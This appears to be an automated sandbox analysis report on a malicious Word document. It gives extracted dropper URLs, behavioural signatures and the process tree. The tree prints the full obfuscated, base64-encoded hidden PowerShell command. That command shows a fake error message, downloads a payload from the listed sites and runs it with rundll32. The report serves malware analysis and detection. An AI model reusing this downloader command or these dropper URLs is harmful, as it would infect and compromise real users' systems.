Analysis
- max time kernel
146s - max time network
163s - platform
windows10-2004_x64 - resource
win10v2004-20250502-en - resource tags
- submitted
02/06/2025, 22:44
General
- Target uploaded/2531 2212 2020 QG-826729.doc
- Size 213KB
- Sample250602-2pacdabk21
- SHA256 3a15b42c4692483aedb912298719b52e5513cf3d2a58ffca07c78fa8c48b536c
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://zenithcampus.com/l/yQ/
-
exe.dropper
http://hbprivileged.com/cgi-bin/kcggF/
-
exe.dropper
http://localaffordableroofer.com/ralphs-receipt-f2uhf/qTT5DC/
-
exe.dropper
https://johnhaydenwrites.com/track_url/P/
-
exe.dropper
https://nahlasolimandesigns.com/nahla3/d/
-
exe.dropper
https://football-eg.com/web_map/n/
-
exe.dropper
https://vietnhabienhoa.com/wordpress/QUTy/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\uploaded\2531 2212 2020 QG-826729.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAaQBvAHgASwB5ADIAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAMgB9AHsAMAB9AHsAMwB9AHsAMQB9ACIALQBmACcAcwBUAEUAbQAuAGkATwAuAGQAaQBSAGUAYwBUACcALAAnAHkAJwAsACcAUwB5ACcALAAnAE8AcgAnACkAIAA7ACAAcwBFAHQALQBJAHQAZQBNACAAIAB2AGEAUgBpAGEAYgBMAGUAOgAxADYAVgBKACAAIAAoAFsAdABZAFAAZQBdACgAIgB7ADYAfQB7ADcAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADIAfQB7ADQAfQB7ADEAfQAiACAALQBGACcAVgAnACwAJwByACcALAAnAEkAYwBFAFAAbwBpAE4AJwAsACcATgBlAFQALgBTACcALAAnAFQAbQBhAE4AYQBHAEUAJwAsACcAZQBSACcALAAnAHMAWQBTACcALAAnAHQAZQBtAC4AJwApACAAKQA7ACQASwB0ADMAcwBiAG8AZwA9ACgAJwBCACcAKwAoACcAbQAnACsAJwB2ACcAKwAnAGsAawA5AHIAJwApACkAOwAkAE0AagA1AG4AcAB3AF8APQAkAFoAOQBsAHMANAB6ADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcAMwA1AHcANQAyADQAOwAkAFkAZAAwADgANQByAHgAPQAoACcAVQB4ACcAKwAoACcAZQBlACcAKwAnAF8AJwApACsAJwB3AGwAJwApADsAIAAgACgAIAAgAGcARQB0AC0AaQB0AEUATQAgACgAJwB2AGEAUgBJACcAKwAnAEEAYgBsAEUAJwArACcAOgAnACsAJwBJAG8AWABLAFkAMgAnACkAIAApAC4AVgBBAGwAdQBlADoAOgAiAEMAYABSAEUAYABBAFQAYABlAGAAZABJAFIARQBjAHQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEkARQAnACsAJwBjACcAKQArACcATwAnACsAKAAnAF8AJwArACcAdwBnAHEAJwApACsAJwB2ACcAKwAoACcANwAnACsAJwBJAEUAYwBDADAAMwAxACcAKQArACgAJwA2AGUAbQBJAEUAJwArACcAYwAnACkAKQAgAC0AYwByAEUAcABsAEEAYwBFACAAIAAoACcASQBFACcAKwAnAGMAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKQA7ACQATQBsADIAOQA0ADYAOQA9ACgAJwBSACcAKwAoACcANgBqACcAKwAnAGsAdQB2AGUAJwApACkAOwAgACAAKAAgACAAVgBBAFIAaQBBAGIATABlACAAMQA2AHYAagAgACAALQB2AEEATABVAEUAbwBuACAAKQA6ADoAIgBzAEUAQwBgAFUAcgBpAHQAeQBwAGAAUgBvAFQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABOAGkAbQBoAF8AdQB4AD0AKAAnAEgAZQAnACsAJwB6ACcAKwAoACcAZgB1ACcAKwAnADIAOQAnACkAKQA7ACQATQBlAG0AMAB1AHcAcgAgAD0AIAAoACcATAB5ACcAKwAoACcAZQB0ACcAKwAnAGEANgAnACkAKwAnAHUAZAAnACkAOwAkAEYAagBfAGkAbgB4AGkAPQAoACgAJwBWAHYAJwArACcAMwAnACkAKwAoACcAagBlAGcAJwArACcAOAAnACkAKQA7ACQARwB5AHoAZgA0AGcAOAA9ACgAKAAnAFEANQAnACsAJwA3AHEAdwAnACkAKwAnAGsAJwArACcAegAnACkAOwAkAEMAMAB3ADcAcgBvADYAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBPAF8AdwBnAHEAdgAnACsAJwA3ACcAKwAnAHsAMAAnACsAJwB9ACcAKwAnAEMAJwArACcAMAAzADEANgBlAG0AewAwAH0AJwApACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAE0AZQBtADAAdQB3AHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABHAGIAMwBsAHkAawA4AD0AKAAoACcATQB4ACcAKwAnADEAZwAnACkAKwAoACcAZwAnACsAJwBvAG0AJwApACkAOwAkAFIAcAA1ADYAegByAGEAPQBOAEUAVwBgAC0ATwBiAGAASgBlAEMAdAAgAE4AZQBUAC4AVwBFAGIAQwBMAGkARQBuAHQAOwAkAEMAagA1AGsAdwBuAG0APQAoACgAKAAoACcAaAB0AHQAcAA6AHEAcQApACcAKwAnACgAcwAyACcAKwAnACkAKABxAHEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKAB6AGUAbgAnACsAJwBpACcAKQApACsAKAAnAHQAaABjACcAKwAnAGEAbQBwAHUAJwArACcAcwAuAGMAJwApACsAKAAoACcAbwAnACsAJwBtAHEAcQApACgAcwAyACcAKwAnACkAJwArACcAKABsAHEAJwArACcAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACcAKwAnACgAeQBRACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACgAJwAoAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AHEAJwArACcAcQAnACsAJwApACgAcwAyACkAJwApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAcQAnACsAJwApACgAcwAyACkAJwApACkAKwAoACgAJwAoAGgAJwArACcAYgAnACkAKQArACgAJwBwAHIAaQB2AGkAbABlACcAKwAnAGcAJwApACsAKAAnAGUAJwArACcAZAAuACcAKQArACgAKAAnAGMAbwAnACsAJwBtAHEAcQApACgAcwAyACkAJwArACcAKABjAGcAJwArACcAaQAtAGIAaQBuACcAKwAnAHEAJwApACkAKwAoACgAJwBxACkAKAAnACsAJwBzADIAKQAnACkAKQArACgAKAAnACgAawBjAGcAJwArACcAZwBGAHEAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAJwAoAEAAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAHEAcQApACcAKQArACcAKAAnACsAKAAoACcAcwAyACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAcQApACgAJwArACcAcwAyACkAKAAnACsAJwBsACcAKwAnAG8AYwAnACkAKQArACcAYQBsACcAKwAnAGEAZgAnACsAKAAnAGYAbwAnACsAJwByAGQAYQBiACcAKwAnAGwAJwArACcAZQByACcAKQArACgAJwBvAG8AZgAnACsAJwBlACcAKQArACcAcgAuACcAKwAnAGMAbwAnACsAKAAoACcAbQBxACcAKwAnAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAJwAoACcAKwAoACcAcgAnACsAJwBhAGwAJwApACsAJwBwAGgAJwArACcAcwAtACcAKwAnAHIAJwArACgAJwBlACcAKwAnAGMAZQAnACkAKwAoACgAJwBpAHAAdAAtAGYAMgB1AGgAJwArACcAZgBxAHEAJwArACcAKQAoACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKABxACcAKQApACsAJwBUACcAKwAoACcAVAAnACsAJwA1AEQAQwAnACkAKwAnAHEAcQAnACsAJwApACcAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABAACcAKwAnAGgAdAAnACsAJwB0AHAAcwAnACkAKQArACgAKAAnADoAJwArACcAcQAnACsAJwBxACkAKABzADIAKQAnACkAKQArACgAJwAoACcAKwAnAHEAcQApACcAKQArACcAKAAnACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBqAG8AaABuAGgAYQAnACsAJwB5ACcAKQApACsAKAAnAGQAZQBuACcAKwAnAHcAcgAnACsAJwBpACcAKQArACgAJwB0AGUAJwArACcAcwAnACkAKwAnAC4AJwArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQAnACsAJwApACcAKwAnACgAcwAyACkAKAB0AHIAYQBjAGsAXwB1ACcAKQApACsAKAAnAHIAbAAnACsAJwBxAHEAJwApACsAKAAoACcAKQAoACcAKwAnAHMAMgApACcAKwAnACgAUAAnACsAJwBxAHEAKQAnACkAKQArACgAJwAoAHMAJwArACcAMgApACcAKQArACcAKAAnACsAKAAnAEAAJwArACcAaAAnACsAJwB0AHQAcABzADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKAAnACsAJwBzADIAKQAnACkAKwAnACgAJwArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAnACsAJwAyACkAKABuACcAKQApACsAKAAnAGEAJwArACcAaABsAGEAcwBvAGwAJwArACcAaQAnACsAJwBtACcAKQArACgAJwBhAG4AZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuACcAKwAnAHMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0AcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKwAnACgAbgBhACcAKwAnAGgAbABhADMAJwApACkAKwAnAHEAJwArACgAKAAnAHEAKQAoACcAKwAnAHMAJwArACcAMgApACcAKQApACsAKAAoACcAKABkAHEAcQApACgAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdAAnACsAJwBwACcAKQApACsAKAAoACcAcwAnACsAJwA6AHEAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAZgAnACsAJwBvAG8AJwApACkAKwAnAHQAJwArACgAJwBiAGEAJwArACcAbABsAC0AJwApACsAKAAoACcAZQBnAC4AYwAnACsAJwBvAG0AJwArACcAcQBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKAB3AGUAJwArACcAYgBfAG0AYQAnACsAJwBwACcAKQApACsAKAAoACcAcQBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAG4AJwApACkAKwAnAHEAJwArACgAKAAnAHEAKQAoAHMAMgAnACsAJwApACgAQABoACcAKwAnAHQAJwApACkAKwAoACcAdABwACcAKwAnAHMAJwApACsAKAAoACcAOgBxACcAKwAnAHEAKQAoACcAKwAnAHMAMgApACgAcQAnACsAJwBxACkAKAAnACkAKQArACcAcwAyACcAKwAoACgAJwApACcAKwAnACgAdgAnACkAKQArACcAaQAnACsAJwBlACcAKwAnAHQAbgAnACsAKAAnAGgAYQAnACsAJwBiAGkAJwApACsAKAAoACcAZQAnACsAJwBuAGgAbwBhAC4AYwBvAG0AcQBxACkAJwArACcAKABzADIAJwArACcAKQAoACcAKQApACsAKAAnAHcAbwByACcAKwAnAGQAcAAnACkAKwAoACgAJwByACcAKwAnAGUAcwBzAHEAcQAnACsAJwApACgAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAnACgAJwArACcAUQAnACsAKAAoACcAVQBUAHkAcQAnACsAJwBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACkAKQAuACIAcgBFAGAAUABsAEEAYwBlACIAKAAoACgAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAEwASQB0ACIAKAAkAEYANwAzAGcANwA5AG0AIAArACAAJABNAGoANQBuAHAAdwBfACAAKwAgACQASQBjAHcAdQAyADMAOAApADsAJABYAGQAXwBjAHAAdwBfAD0AKAAnAFUAJwArACgAJwBoACcAKwAnAHoAZgBxACcAKQArACcAMgAyACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwB0AF8AYgB1AGQAbAAgAGkAbgAgACQAQwBqADUAawB3AG4AbQAgAHwAIABTAGAATwBSAHQALQBPAGIAagBgAGUAYABDAHQAIAB7AGcARQBgAFQAYAAtAGAAUgBBAG4AZABvAG0AfQApAHsAdAByAHkAewAkAFIAcAA1ADYAegByAGEALgAiAEQATwBXAG4AYABMAE8AYQBkAGYAYABJAGAAbABFACIAKAAkAE8AdABfAGIAdQBkAGwALAAgACQAQwAwAHcANwByAG8ANgApADsAJABNAHAAaQAyAHMAcwA0AD0AKAAoACcAUwAnACsAJwB6AF8AJwApACsAJwB3ACcAKwAoACcAeQBtACcAKwAnADEAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQwAwAHcANwByAG8ANgApAC4AIgBsAEUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAANAA0ADEAMwA2ACkAIAB7AC4AKAAnAHIAdQBuAGQAJwArACcAbABsADMAJwArACcAMgAnACkAIAAkAEMAMAB3ADcAcgBvADYALAAnACMAMQAnAC4AIgBUAGAAbwBgAHMAVABSAEkAbgBnACIAKAApADsAJABFAGsAYwBvAGoAYgB3AD0AKAAoACcAVQBwACcAKwAnAHoAagBnACcAKQArACcAdwB3ACcAKQA7AGIAcgBlAGEAawA7ACQASgBjAG0AdABnAGIAbwA9ACgAKAAnAFIAbgAxACcAKwAnAHgAJwApACsAJwBuAGwAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAcABqAHIAegA1AGkAPQAoACcAUQAnACsAJwA1ADEAJwArACgAJwBkAGUAYwAnACsAJwB0ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgACQAaQBvAHgASwB5ADIAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAMgB9AHsAMAB9AHsAMwB9AHsAMQB9ACIALQBmACcAcwBUAEUAbQAuAGkATwAuAGQAaQBSAGUAYwBUACcALAAnAHkAJwAsACcAUwB5ACcALAAnAE8AcgAnACkAIAA7ACAAcwBFAHQALQBJAHQAZQBNACAAIAB2AGEAUgBpAGEAYgBMAGUAOgAxADYAVgBKACAAIAAoAFsAdABZAFAAZQBdACgAIgB7ADYAfQB7ADcAfQB7ADMAfQB7ADUAfQB7ADAAfQB7ADIAfQB7ADQAfQB7ADEAfQAiACAALQBGACcAVgAnACwAJwByACcALAAnAEkAYwBFAFAAbwBpAE4AJwAsACcATgBlAFQALgBTACcALAAnAFQAbQBhAE4AYQBHAEUAJwAsACcAZQBSACcALAAnAHMAWQBTACcALAAnAHQAZQBtAC4AJwApACAAKQA7ACQASwB0ADMAcwBiAG8AZwA9ACgAJwBCACcAKwAoACcAbQAnACsAJwB2ACcAKwAnAGsAawA5AHIAJwApACkAOwAkAE0AagA1AG4AcAB3AF8APQAkAFoAOQBsAHMANAB6ADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcAMwA1AHcANQAyADQAOwAkAFkAZAAwADgANQByAHgAPQAoACcAVQB4ACcAKwAoACcAZQBlACcAKwAnAF8AJwApACsAJwB3AGwAJwApADsAIAAgACgAIAAgAGcARQB0AC0AaQB0AEUATQAgACgAJwB2AGEAUgBJACcAKwAnAEEAYgBsAEUAJwArACcAOgAnACsAJwBJAG8AWABLAFkAMgAnACkAIAApAC4AVgBBAGwAdQBlADoAOgAiAEMAYABSAEUAYABBAFQAYABlAGAAZABJAFIARQBjAHQATwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAEkARQAnACsAJwBjACcAKQArACcATwAnACsAKAAnAF8AJwArACcAdwBnAHEAJwApACsAJwB2ACcAKwAoACcANwAnACsAJwBJAEUAYwBDADAAMwAxACcAKQArACgAJwA2AGUAbQBJAEUAJwArACcAYwAnACkAKQAgAC0AYwByAEUAcABsAEEAYwBFACAAIAAoACcASQBFACcAKwAnAGMAJwApACwAWwBjAEgAQQBSAF0AOQAyACkAKQA7ACQATQBsADIAOQA0ADYAOQA9ACgAJwBSACcAKwAoACcANgBqACcAKwAnAGsAdQB2AGUAJwApACkAOwAgACAAKAAgACAAVgBBAFIAaQBBAGIATABlACAAMQA2AHYAagAgACAALQB2AEEATABVAEUAbwBuACAAKQA6ADoAIgBzAEUAQwBgAFUAcgBpAHQAeQBwAGAAUgBvAFQAbwBgAGMAbwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABOAGkAbQBoAF8AdQB4AD0AKAAnAEgAZQAnACsAJwB6ACcAKwAoACcAZgB1ACcAKwAnADIAOQAnACkAKQA7ACQATQBlAG0AMAB1AHcAcgAgAD0AIAAoACcATAB5ACcAKwAoACcAZQB0ACcAKwAnAGEANgAnACkAKwAnAHUAZAAnACkAOwAkAEYAagBfAGkAbgB4AGkAPQAoACgAJwBWAHYAJwArACcAMwAnACkAKwAoACcAagBlAGcAJwArACcAOAAnACkAKQA7ACQARwB5AHoAZgA0AGcAOAA9ACgAKAAnAFEANQAnACsAJwA3AHEAdwAnACkAKwAnAGsAJwArACcAegAnACkAOwAkAEMAMAB3ADcAcgBvADYAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQBPAF8AdwBnAHEAdgAnACsAJwA3ACcAKwAnAHsAMAAnACsAJwB9ACcAKwAnAEMAJwArACcAMAAzADEANgBlAG0AewAwAH0AJwApACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAE0AZQBtADAAdQB3AHIAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABHAGIAMwBsAHkAawA4AD0AKAAoACcATQB4ACcAKwAnADEAZwAnACkAKwAoACcAZwAnACsAJwBvAG0AJwApACkAOwAkAFIAcAA1ADYAegByAGEAPQBOAEUAVwBgAC0ATwBiAGAASgBlAEMAdAAgAE4AZQBUAC4AVwBFAGIAQwBMAGkARQBuAHQAOwAkAEMAagA1AGsAdwBuAG0APQAoACgAKAAoACcAaAB0AHQAcAA6AHEAcQApACcAKwAnACgAcwAyACcAKwAnACkAKABxAHEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcwAyACcAKwAnACkAKAB6AGUAbgAnACsAJwBpACcAKQApACsAKAAnAHQAaABjACcAKwAnAGEAbQBwAHUAJwArACcAcwAuAGMAJwApACsAKAAoACcAbwAnACsAJwBtAHEAcQApACgAcwAyACcAKwAnACkAJwArACcAKABsAHEAJwArACcAcQApACcAKQApACsAKAAoACcAKABzACcAKQApACsAJwAyACcAKwAoACgAJwApACcAKwAnACgAeQBRACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACgAJwAoAEAAaAB0AHQAJwArACcAcAAnACsAJwA6AHEAJwArACcAcQAnACsAJwApACgAcwAyACkAJwApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAcQAnACsAJwApACgAcwAyACkAJwApACkAKwAoACgAJwAoAGgAJwArACcAYgAnACkAKQArACgAJwBwAHIAaQB2AGkAbABlACcAKwAnAGcAJwApACsAKAAnAGUAJwArACcAZAAuACcAKQArACgAKAAnAGMAbwAnACsAJwBtAHEAcQApACgAcwAyACkAJwArACcAKABjAGcAJwArACcAaQAtAGIAaQBuACcAKwAnAHEAJwApACkAKwAoACgAJwBxACkAKAAnACsAJwBzADIAKQAnACkAKQArACgAKAAnACgAawBjAGcAJwArACcAZwBGAHEAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAJwAoAEAAaAB0AHQAJwArACcAcAAnACsAJwA6ACcAKwAnAHEAcQApACcAKQArACcAKAAnACsAKAAoACcAcwAyACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAcQApACgAJwArACcAcwAyACkAKAAnACsAJwBsACcAKwAnAG8AYwAnACkAKQArACcAYQBsACcAKwAnAGEAZgAnACsAKAAnAGYAbwAnACsAJwByAGQAYQBiACcAKwAnAGwAJwArACcAZQByACcAKQArACgAJwBvAG8AZgAnACsAJwBlACcAKQArACcAcgAuACcAKwAnAGMAbwAnACsAKAAoACcAbQBxACcAKwAnAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAJwAoACcAKwAoACcAcgAnACsAJwBhAGwAJwApACsAJwBwAGgAJwArACcAcwAtACcAKwAnAHIAJwArACgAJwBlACcAKwAnAGMAZQAnACkAKwAoACgAJwBpAHAAdAAtAGYAMgB1AGgAJwArACcAZgBxAHEAJwArACcAKQAoACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKABxACcAKQApACsAJwBUACcAKwAoACcAVAAnACsAJwA1AEQAQwAnACkAKwAnAHEAcQAnACsAJwApACcAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABAACcAKwAnAGgAdAAnACsAJwB0AHAAcwAnACkAKQArACgAKAAnADoAJwArACcAcQAnACsAJwBxACkAKABzADIAKQAnACkAKQArACgAJwAoACcAKwAnAHEAcQApACcAKQArACcAKAAnACsAJwBzADIAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBqAG8AaABuAGgAYQAnACsAJwB5ACcAKQApACsAKAAnAGQAZQBuACcAKwAnAHcAcgAnACsAJwBpACcAKQArACgAJwB0AGUAJwArACcAcwAnACkAKwAnAC4AJwArACcAYwBvACcAKwAoACgAJwBtACcAKwAnAHEAcQAnACsAJwApACcAKwAnACgAcwAyACkAKAB0AHIAYQBjAGsAXwB1ACcAKQApACsAKAAnAHIAbAAnACsAJwBxAHEAJwApACsAKAAoACcAKQAoACcAKwAnAHMAMgApACcAKwAnACgAUAAnACsAJwBxAHEAKQAnACkAKQArACgAJwAoAHMAJwArACcAMgApACcAKQArACcAKAAnACsAKAAnAEAAJwArACcAaAAnACsAJwB0AHQAcABzADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACcAKAAnACsAJwBzADIAKQAnACkAKwAnACgAJwArACgAKAAnAHEAJwArACcAcQApACgAJwArACcAcwAnACsAJwAyACkAKABuACcAKQApACsAKAAnAGEAJwArACcAaABsAGEAcwBvAGwAJwArACcAaQAnACsAJwBtACcAKQArACgAJwBhAG4AZABlAHMAJwArACcAaQAnACkAKwAoACcAZwBuACcAKwAnAHMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0AcQAnACsAJwBxACkAKAAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKwAnACgAbgBhACcAKwAnAGgAbABhADMAJwApACkAKwAnAHEAJwArACgAKAAnAHEAKQAoACcAKwAnAHMAJwArACcAMgApACcAKQApACsAKAAoACcAKABkAHEAcQApACgAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAQABoAHQAdAAnACsAJwBwACcAKQApACsAKAAoACcAcwAnACsAJwA6AHEAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoACcAKwAnAHEAcQApACgAJwApACkAKwAoACgAJwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAZgAnACsAJwBvAG8AJwApACkAKwAnAHQAJwArACgAJwBiAGEAJwArACcAbABsAC0AJwApACsAKAAoACcAZQBnAC4AYwAnACsAJwBvAG0AJwArACcAcQBxACkAJwApACkAKwAoACgAJwAoAHMAJwApACkAKwAoACgAJwAyACkAKAB3AGUAJwArACcAYgBfAG0AYQAnACsAJwBwACcAKQApACsAKAAoACcAcQBxACkAKABzACcAKwAnADIAKQAnACsAJwAoAG4AJwApACkAKwAnAHEAJwArACgAKAAnAHEAKQAoAHMAMgAnACsAJwApACgAQABoACcAKwAnAHQAJwApACkAKwAoACcAdABwACcAKwAnAHMAJwApACsAKAAoACcAOgBxACcAKwAnAHEAKQAoACcAKwAnAHMAMgApACgAcQAnACsAJwBxACkAKAAnACkAKQArACcAcwAyACcAKwAoACgAJwApACcAKwAnACgAdgAnACkAKQArACcAaQAnACsAJwBlACcAKwAnAHQAbgAnACsAKAAnAGgAYQAnACsAJwBiAGkAJwApACsAKAAoACcAZQAnACsAJwBuAGgAbwBhAC4AYwBvAG0AcQBxACkAJwArACcAKABzADIAJwArACcAKQAoACcAKQApACsAKAAnAHcAbwByACcAKwAnAGQAcAAnACkAKwAoACgAJwByACcAKwAnAGUAcwBzAHEAcQAnACsAJwApACgAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAnACgAJwArACcAUQAnACsAKAAoACcAVQBUAHkAcQAnACsAJwBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACkAKQAuACIAcgBFAGAAUABsAEEAYwBlACIAKAAoACgAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAHMAYABQAEwASQB0ACIAKAAkAEYANwAzAGcANwA5AG0AIAArACAAJABNAGoANQBuAHAAdwBfACAAKwAgACQASQBjAHcAdQAyADMAOAApADsAJABYAGQAXwBjAHAAdwBfAD0AKAAnAFUAJwArACgAJwBoACcAKwAnAHoAZgBxACcAKQArACcAMgAyACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQATwB0AF8AYgB1AGQAbAAgAGkAbgAgACQAQwBqADUAawB3AG4AbQAgAHwAIABTAGAATwBSAHQALQBPAGIAagBgAGUAYABDAHQAIAB7AGcARQBgAFQAYAAtAGAAUgBBAG4AZABvAG0AfQApAHsAdAByAHkAewAkAFIAcAA1ADYAegByAGEALgAiAEQATwBXAG4AYABMAE8AYQBkAGYAYABJAGAAbABFACIAKAAkAE8AdABfAGIAdQBkAGwALAAgACQAQwAwAHcANwByAG8ANgApADsAJABNAHAAaQAyAHMAcwA0AD0AKAAoACcAUwAnACsAJwB6AF8AJwApACsAJwB3ACcAKwAoACcAeQBtACcAKwAnADEAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAQwAwAHcANwByAG8ANgApAC4AIgBsAEUAYABOAGcAYABUAGgAIgAgAC0AZwBlACAANAA0ADEAMwA2ACkAIAB7AC4AKAAnAHIAdQBuAGQAJwArACcAbABsADMAJwArACcAMgAnACkAIAAkAEMAMAB3ADcAcgBvADYALAAnACMAMQAnAC4AIgBUAGAAbwBgAHMAVABSAEkAbgBnACIAKAApADsAJABFAGsAYwBvAGoAYgB3AD0AKAAoACcAVQBwACcAKwAnAHoAagBnACcAKQArACcAdwB3ACcAKQA7AGIAcgBlAGEAawA7ACQASgBjAG0AdABnAGIAbwA9ACgAKAAnAFIAbgAxACcAKwAnAHgAJwApACsAJwBuAGwAJwArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAcABqAHIAegA1AGkAPQAoACcAUQAnACsAJwA1ADEAJwArACgAJwBkAGUAYwAnACsAJwB0ACcAKQApAA==2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_i2vfx1di.lfs.ps1
CUSTOM.DIC
fb3b0dbfee58fac8.customDestinations-ms
memory/1564-19-0x00007FF865CD0000-0x00007FF865CE0000-memory.dmp
memory/1564-32-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
memory/1564-8-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
memory/1564-7-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
memory/1564-6-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
memory/1564-35-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
memory/1564-10-0x00007FF8A8350000-0x00007FF8A8545000-memory.dmp
